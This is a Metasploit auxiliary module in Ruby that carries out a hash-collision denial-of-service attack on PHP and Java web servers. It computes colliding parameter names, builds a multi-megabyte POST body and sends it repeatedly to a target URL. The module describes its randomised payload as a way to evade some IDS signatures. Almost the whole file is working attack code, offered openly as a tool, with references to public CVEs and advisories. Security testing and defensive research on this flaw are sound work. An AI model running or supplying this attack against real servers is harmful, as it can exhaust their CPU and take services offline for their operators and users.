##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::HttpClient
	include Msf::Auxiliary::Dos

	def initialize(info = {})
		super(update_info(info,
			'Name'          => 'Hashtable Collisions',
			'Description'   => %q{
				This module uses a denial-of-service (DoS) condition appearing in a variety of
				programming languages. This vulnerability occurs when storing multiple values
				in a hash table and all values have the same hash value. This can cause a web server
				parsing the POST parameters issued with a request into a hash table to consume
				hours of CPU with a single HTTP request.

				Currently, only the hash functions for PHP and Java are implemented.
				This module was tested with PHP + httpd, Tomcat, Glassfish and Geronimo.
				It also generates a random payload to bypass some IDS signatures.
			},
			'Author'        =>
				[
					'Alexander Klink', # advisory
					'Julian Waelde', # advisory
					'Scott A. Crosby', # original advisory
					'Dan S. Wallach', # original advisory
					'Krzysztof Kotowicz', # payload generator
					'Christian Mehlmauer <FireFart[at]gmail.com>' # metasploit module
				],
			'License'       => MSF_LICENSE,
			'References'    =>
				[
					['URL', 'http://www.ocert.org/advisories/ocert-2011-003.html'],
					['URL', 'http://www.nruns.com/_downloads/advisory28122011.pdf'],
					['URL', 'http://events.ccc.de/congress/2011/Fahrplan/events/4680.en.html'],
					['URL', 'http://events.ccc.de/congress/2011/Fahrplan/attachments/2007_28C3_Effective_DoS_on_web_application_platforms.pdf'],
					['URL', 'http://www.youtube.com/watch?v=R2Cq3CLI6H8'],
					['CVE', '2011-5034'],
					['CVE', '2011-5035'],
					['CVE', '2011-4885'],
					['CVE', '2011-4858']
				],
			'DisclosureDate'=> 'Dec 28 2011'
		))

		register_options(
		[
			OptEnum.new('TARGET', [ true, 'Target to attack', nil, ['PHP','Java']]),
			OptString.new('URL', [ true, "The request URI", '/' ]),
			OptInt.new('RLIMIT', [ true, "Number of requests to send", 50 ])
		], self.class)

		register_advanced_options(
		[
			OptInt.new('RecursiveMax', [false, "Maximum recursions when searching for collisionchars", 15]),
			OptInt.new('MaxPayloadSize', [false, "Maximum size of the Payload in Megabyte. Autoadjust if 0", 0]),
			OptInt.new('CollisionChars', [false, "Number of colliding chars to find", 5]),
			OptInt.new('CollisionCharLength', [false, "Length of the collision chars (2 = Ey, FZ; 3=HyA, ...)", 2]),
			OptInt.new('PayloadLength', [false, "Length of each parameter in the payload", 8])
		], self.class)
	end

	def generate_payload
		# Taken from:
		# https://github.com/koto/blog-kotowicz-net-examples/tree/master/hashcollision

		@recursive_counter = 1
		collision_chars = compute_collision_chars
		return nil if collision_chars == nil

		length = datastore['PayloadLength']
		size = collision_chars.length
		post = ""
		max_value_float = size ** length
		max_value_int = max_value_float.floor
		print_status("#{rhost}:#{rport} - Generating POST data...")
		for i in 0.upto(max_value_int)
			input_string = i.to_s(size)
			result = input_string.rjust(length, "0")
			collision_chars.each do |key, value|
				result = result.gsub(key, value)
			end
			post << "#{Rex::Text.uri_encode(result)}=&"
		end
		return post
	end

	def compute_collision_chars
		print_status("#{rhost}:#{rport} - Trying to find hashes...") if @recursive_counter == 1
		hashes = {}
		counter = 0
		length = datastore['CollisionCharLength']
		a = []
		for i in @char_range
			a << i.chr
		end
		# Generate all possible strings
		source = a
		for i in Range.new(1,length-1)
			source = source.product(a)
		end
		source = source.map(&:join)
		# and pick a random one
		base_str = source.sample
		base_hash = @function.call(base_str)
		hashes[counter.to_s] = base_str
		counter = counter + 1
		for item in source
			if item == base_str
				next
			end
			if @function.call(item) == base_hash
				# Hooray we found a matching hash
				hashes[counter.to_s] = item
				counter = counter + 1
			end
			if counter >= datastore['CollisionChars']
				break
			end
		end
		if counter < datastore['CollisionChars']
			# Try it again
			if @recursive_counter > datastore['RecursiveMax']
				print_error("#{rhost}:#{rport} - Not enough values found. Please start this script again.")
				return nil
			end
			print_status("#{rhost}:#{rport} - #{@recursive_counter}: Not enough values found. Trying again...")
			@recursive_counter = @recursive_counter + 1
			hashes = compute_collision_chars
		else
			print_status("#{rhost}:#{rport} - Found values:")
			hashes.each_value do |item|
				print_status("#{rhost}:#{rport} -\tValue: #{item}\tHash: #{@function.call(item)}")
				item.each_char do |c|
					print_status("#{rhost}:#{rport} -\t\tValue: #{c}\tCharcode: #{c.unpack("C")}")
				end
			end
		end
		return hashes
	end

	# General hash function, Dan "djb" Bernstein times XX add
	def djbxa(input_string, base, start)
		counter = input_string.length - 1
		result = start
		input_string.each_char do |item|
			result = result + ((base ** counter) * item.ord)
			counter = counter - 1
		end
		return result.round
	end

	# PHP's hash function (djb times 33 add)
	def djbx33a(input_string)
		return djbxa(input_string, 33, 5381)
	end

	# Java's hash function (djb times 31 add)
	def djbx31a(input_string)
		return djbxa(input_string, 31, 0)
	end

	def run
		case datastore['TARGET']
			when /PHP/
				@function = method(:djbx33a)
				@char_range = Range.new(0, 255)
				if (datastore['MaxPayloadSize'] <= 0)
					datastore['MaxPayloadSize'] = 8   # XXX: Refactor
				end
			when /Java/
				@function = method(:djbx31a)
				@char_range = Range.new(0, 128)
				if (datastore['MaxPayloadSize'] <= 0)
					datastore['MaxPayloadSize'] = 2   # XXX: Refactor
				end
			else
				raise RuntimeError, "Target #{datastore['TARGET']} not supported"
		end

		print_status("#{rhost}:#{rport} - Generating payload...")
		payload = generate_payload
		return if payload == nil
		# trim to maximum payload size (in MB)
		max_in_mb = datastore['MaxPayloadSize']*1024*1024
		payload = payload[0,max_in_mb]
		# remove last invalid(cut off) parameter
		position = payload.rindex("=&")
		payload = payload[0,position+1]
		print_status("#{rhost}:#{rport} -Payload generated")

		for x in 1..datastore['RLIMIT']
			print_status("#{rhost}:#{rport} - Sending request ##{x}...")
			opts = {
				'method'	=> 'POST',
				'uri'		=> normalize_uri(datastore['URL']),
				'data'		=> payload
			}
			begin
				c = connect
				r = c.request_cgi(opts)
				c.send_request(r)
				# Don't wait for a response, can take hours
			rescue ::Rex::ConnectionError => exception
				print_error("#{rhost}:#{rport} - Unable to connect: '#{exception.message}'")
				return
			ensure
				disconnect(c) if c
			end
		end
	end
end